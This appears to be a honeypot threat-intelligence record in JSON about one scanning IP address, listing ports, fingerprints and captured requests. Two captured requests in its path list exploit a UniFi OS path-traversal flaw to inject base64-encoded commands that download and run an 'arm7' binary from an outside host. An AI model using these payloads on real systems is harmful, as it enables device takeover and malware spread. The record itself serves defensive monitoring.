{"ip":"94.154.43.163","total_events":289,"verdict":{"verdict":"scanning","label":"Unrecognized scanner","detail":"13+ ports swept","confidence":"medium","network_type":null,"why":["No exploit payloads observed.","Swept 13 distinct ports (threshold for a sweep is 10).","Not in any known-scanner range."],"engagement":{"level":"payload","label":"Sustained payload","detail":"28,618 bytes sent","bytes_sent":28618,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-09T09:10:32","last_seen":"2026-09-22T14:38:51","events_24h":0,"events_7d":247,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2026-34908","title":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"}],"malware":[],"top_ports":[{"port":1880,"proto":"tcp","label":"","count":151},{"port":1883,"proto":"tcp","label":"MQTT","count":43},{"port":1881,"proto":"tcp","label":"","count":38},{"port":5555,"proto":"tcp","label":"","count":30},{"port":1900,"proto":"tcp","label":"","count":6},{"port":1882,"proto":"tcp","label":"","count":6},{"port":63002,"proto":"tcp","label":"","count":5},{"port":11443,"proto":"tcp","label":"","count":3},{"port":9100,"proto":"tcp","label":"Printer","count":2},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":2},{"port":27017,"proto":"tcp","label":"MongoDB","count":1},{"port":80,"proto":"tcp","label":"HTTP","count":1},{"port":5556,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_f50d94e863eb","t13i131000_f57a46bbacb6_ab7e3b40a677"],"tls_client_hello":"16030105d2010005ce0303290054a40b1b5f723f3a8d680fd66da300ddb31c71f9b5b3e87efe1cd63739b120a40f768a15177c0de84d3386022a2d3cacfed7810f7e27a1efc07cef03dd7970001ac02bc02fc02cc030cca9cca8c009c013c00ac0141301130213030100056b000b00020100ff010001000017000000120000000500050100000000000a0010000e11ec11eb11ed001d001700180019000d001c001a090409050906080404030807080508060401050106010503060300320020001e090409050906080404030807080508060401050106010503060302010203002b00050403040303003304ea04e811ec04c0fa403572180ab8866aa12cb5b41c2d1510702a31aefd1a8afcc559ece1c597e972f75300d0428b1030ce46e443bd2a31eaf48c1fac5d8c753ca13c4db2d6043317bdeb5a0046538268f177fc8015985b4527792d29c5a5da928fd56c6940baa449c291a1a42e959111ed0362d5c2a18d095709052653d990de998b0450736e674e0b80535259b2bd5c3072c8c56e48114c940a316980d0f15c8e91560d9697503a05e55a4597f5b277943a9996b61212cc8f2c9066f53a25d4832071ce3a093e6320a4d773870be07c82921e7ee71d64005dc5c73ad92b0e73d9644834becd629d8e63b046a76ca455903774304164900c7085fef231f2e69208523416c058f18c895f39947a6b422162b5d9ac7fbf7c1798dc7576546e8ce3477f0cb51c19ac393525ecbbcf995363c385104a739f0c886e5936391f90bc61ba66f45433ff12b04f3375e1d48165e11b7497c937d56ca77c5ca352c29002a177f220c5d7875e033db1d2282f54397e503dc7c3314f97665ca830592658f4ec11bf72cf21b11f3a8c5c88986994090f63a47f90e008bc6b09838ab4167c2fb4307e24021cc3b59f8bbb592675bb3e710f2ea64d27669f46c21b22b95bb571b34c7706cdb24cbe526a301256a54256a7b734be77561f8c96f90ba9ce00918840992e1465fb825f3b42ae6b252903f24ca995b9e15104a955270eec856bb744a61b2e346aa46c5b4c010599dfd47ec4000ef4d491adc876a9a959e4946969e9c37287c30ea72db1452527b1530c736a21d8672dd06d937078c58a0105c6543ce412a9a07270b5872aa4af80e1b80c077a74177c7e3cae52aa03a4ac0b1ca82435f7c8476666a1634183f495bd36218139ceabb6a855b642ad29b12a39235d492f38e6920a3132bb48235dc53b33c79112378063f6ce7a3c90114683f16766e8f96d1168a749133f4dd4c3b1a90cac8480bc6bc79b5c17ad4036e1e726d1553092dc9599264a7248058d12b1c8f794786708b6c9aad1cb91545259a8b0540094b031ea3f81b12950b0b1258c4e7d29221361baf2b065412ac5a1b49d16625a4c6a7309417a84763a54f918e9c2bd9a762ef477cebcb46ba4e2acd4f3c1e1337d6c3b779772046a8743d78492e2083c0102ad93e300ff4a558ff9c39ae6160aa17b131ba817abc70110012ef86fe115668cc48f9db0b3a9d53b4f9751e127862afa559a07cea0b49e037c096e1bafb99664c0739feee03a6f682818b3775c887f26f46cf203a7286c3d26a3490396966f5b305432bc83974799e7b0e6349597532d5bc447a83601b7e271c4fc625323646bfacbe51992245c080806208471383f7933cb6524de276a41f63d5eb867fd36cf112391bf692fa61003040012f4a45613d090357233e9fc688513462c2cbc6c078adca67c5ac25877238d5a97a8c4f11c42f07f5ef2c760eb8c002d94dc4411804a1c7277ae3482754347306ad9410a99a4956906d51bbc0a611d756b3c9eb0c2ed10833fdbafb3384ae1186949a16922378e216c133c478f8a8576ec37b13208934d3c11ba80a4cee781ddaa46bd86748656b8ebb5cd23202c9dc164e070118596a90cc2548e5760b3966ac2988f0888090c3519f4b587995b54236c9ff7dfac8bd9abba4da39079c9fa889bd689d953a341b8c28271c0d576ba0d46fab5a1d05511dc02cf115e30d77d1e80549b92761632ad32f7a160001d0020d576ba0d46fab5a1d05511dc02cf115e30d77d1e80549b92761632ad32f7a160","tls_ja3":["725543c78edf669194c11dc7a039b56e"],"http_akin":[]},"fingerprint_peers":{"t13i131000_f57a46bbacb6_f50d94e863eb":2522,"t13i131000_f57a46bbacb6_ab7e3b40a677":5121},"akin_families":{},"user_agents":["Linux Gnu (cow)","Go-http-client/1.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-08-09","count":2},{"date":"2026-08-22","count":5},{"date":"2026-09-09","count":25},{"date":"2026-09-10","count":10},{"date":"2026-09-18","count":8},{"date":"2026-09-19","count":16},{"date":"2026-09-20","count":68},{"date":"2026-09-21","count":70},{"date":"2026-09-22","count":85}],"recent_events":[{"timestamp":"2026-09-22T14:38:51","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"185.228.81.201","headers":"{\"connection\":\"close\",\"host\":\"185.228.81.201:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"a58197e9-2d47-4362-976e-fa1071826d1a","seq":1,"duration_ms":100,"bytes_in":104,"bytes_out":78},{"timestamp":"2026-09-22T14:38:51","port":1880,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"185.228.81.201","headers":"{\"connection\":\"close\",\"host\":\"185.228.81.201:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"725543c78edf669194c11dc7a039b56e","session":"3c2db19c-77f5-46e0-90a6-d6d364ddd05a","seq":1,"duration_ms":100,"bytes_in":104,"bytes_out":78},{"timestamp":"2026-09-22T14:35:40","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a20<HONEYPOT>3a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"8c9d9d23-374d-4c52-a647-6151e966c899","seq":1,"duration_ms":100,"bytes_in":102,"bytes_out":78},{"timestamp":"2026-09-22T14:35:40","port":1880,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a20<HONEYPOT>3a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"725543c78edf669194c11dc7a039b56e","session":"a8467675-5dbb-4559-861d-e83eff345407","seq":1,"duration_ms":101,"bytes_in":102,"bytes_out":78},{"timestamp":"2026-09-22T13:28:49","port":1880,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a20<HONEYPOT>3a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"725543c78edf669194c11dc7a039b56e","session":"b1a2d23a-c583-457a-8744-f6d236246f1b","seq":1,"duration_ms":100,"bytes_in":102,"bytes_out":78},{"timestamp":"2026-09-22T13:28:48","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a20<HONEYPOT>3a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"4997f5f5-c92d-47b3-9559-7d39bc22a4fc","seq":1,"duration_ms":100,"bytes_in":102,"bytes_out":78},{"timestamp":"2026-09-22T13:28:09","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"185.228.81.201","headers":"{\"connection\":\"close\",\"host\":\"185.228.81.201:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"23a8bc80-3bc5-4c28-85f0-9ccb37e6633d","seq":1,"duration_ms":100,"bytes_in":104,"bytes_out":78},{"timestamp":"2026-09-22T13:28:09","port":1880,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"185.228.81.201","headers":"{\"connection\":\"close\",\"host\":\"185.228.81.201:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a203138352e3232382e38312e3230313a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"725543c78edf669194c11dc7a039b56e","session":"cca5eedf-308d-43ca-9410-8ac1c1fa0bec","seq":1,"duration_ms":100,"bytes_in":104,"bytes_out":78},{"timestamp":"2026-09-22T11:56:47","port":1880,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a20<HONEYPOT>3a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"48e554b7-a225-4304-99f2-30b47e5b3f9e","seq":1,"duration_ms":100,"bytes_in":102,"bytes_out":78},{"timestamp":"2026-09-22T11:56:47","port":1880,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:1880\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/settings","summary":"","payload_hex":"474554202f73657474696e677320485454502f312e310d0a486f73743a20<HONEYPOT>3a313838300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"725543c78edf669194c11dc7a039b56e","session":"3fe84512-4f5f-4342-ab20-dfb185397d8d","seq":1,"duration_ms":100,"bytes_in":102,"bytes_out":78}],"http_methods":[{"method":"GET","count":253}],"distinct_ports_total":13,"top_paths":[{"path":"/settings","count":247,"ports":7},{"path":"/metrics","count":2,"ports":1},{"path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3Becho+bmMgNS44My4xMjkuMTc3IDI1NTY1ID4gYXJtNzsgY2htb2QgK3ggYXJtNzsgLi9hcm03IHViaQ%3D%3D%7Cbase64+-d%7Csh%3B&by_cmd=true","count":2,"ports":1},{"path":"/","count":1,"ports":1},{"path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3Becho+d2dldCBodHRwOi8vNS44My4xMjkuMTc3L2FybTcgLU8gYXJtNyB8fCBjdXJsIGh0dHA6Ly81LjgzLjEyOS4xNzcvYXJtNzsgY2htb2QgK3ggYXJtNzsgLi9hcm03IHViaQ%3D%3D%7Cbase64+-d%7Csh%3B&by_cmd=true","count":1,"ports":1}],"distinct_paths_total":5,"top_snis":[],"top_hosts":[{"value":"185.228.81.201","count":37}],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Connection","Host","User-Agent"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Host","value":"185.228.81.201:1880","notable":false},{"name":"User-Agent","value":"Go-http-client/1.1","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-34908","tag_type":"cve","title":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package","reference_urls":["https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908","https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis","https://nvd.nist.gov/vuln/detail/CVE-2026-34908"]}],"data_as_of":"2026-09-23T15:10:40.386979+00:00"}